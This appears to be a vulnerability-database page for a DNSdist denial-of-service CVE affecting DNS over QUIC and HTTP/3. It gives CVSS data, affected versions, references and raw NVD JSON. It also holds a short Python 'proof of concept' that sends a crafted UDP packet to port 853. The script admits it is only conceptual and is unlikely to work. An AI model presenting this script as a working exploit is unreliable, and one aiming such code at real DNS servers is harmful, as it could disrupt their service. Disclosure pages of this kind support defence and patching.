CVE-2026-24030

Description

An attacker might be able to trick DNSdist into allocating too much memory while processing DNS over QUIC or DNS over HTTP/3 payloads, resulting in a denial of service. In setups with a large quantity of memory available this usually results in an exception and the QUIC connection is properly closed, but in some cases the system might enter an out-of-memory state instead and terminate the process.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:* - VULNERABLE

DNSdist (具体受影响版本请参考PowerDNS官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-24030
# This script demonstrates how a crafted payload might trigger memory exhaustion.
# Note: Actual exploitation requires a vulnerable version of DNSdist.

import socket

def trigger_dos(target_ip, target_port):
    """
    Sends a large payload to the target to simulate memory exhaustion.
    """
    try:
        # Create a UDP socket (QUIC uses UDP)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        
        # Simulate a malicious QUIC stream frame indicating a large data size
        # This is a conceptual representation.
        header = b'\x00\x00\x00\x00' # Simplified Header
        large_size_indicator = b'\xFF\xFF\xFF\xFF' # Claiming huge size
        payload = header + large_size_indicator
        
        print(f"[*] Sending payload to {target_ip}:{target_port}")
        sock.sendto(payload, (target_ip, target_port))
        print("[+] Payload sent. Check server status.")
        
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    trigger_dos("127.0.0.1", 853)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24030
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24030
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24030/
[4] VulDB https://vuldb.com/cve/CVE-2026-24030
[5] https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24030", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:27.770", "lastModified": "2026-04-14T16:15:28.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker might be able to trick DNSdist into allocating too much memory while processing DNS over QUIC or DNS over HTTP/3 payloads, resulting in a denial of service. In setups with a large quantity of memory available this usually results in an exception and the QUIC connection is properly closed, but in some cases the system might enter an out-of-memory state instead and terminate the process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.12", "matchCriteriaId": "628B3B94-81DE-496E-B36A-B79A3DFFE1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "9AC850DD-FDD8-4C48-B861-4BBAF423FF57"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}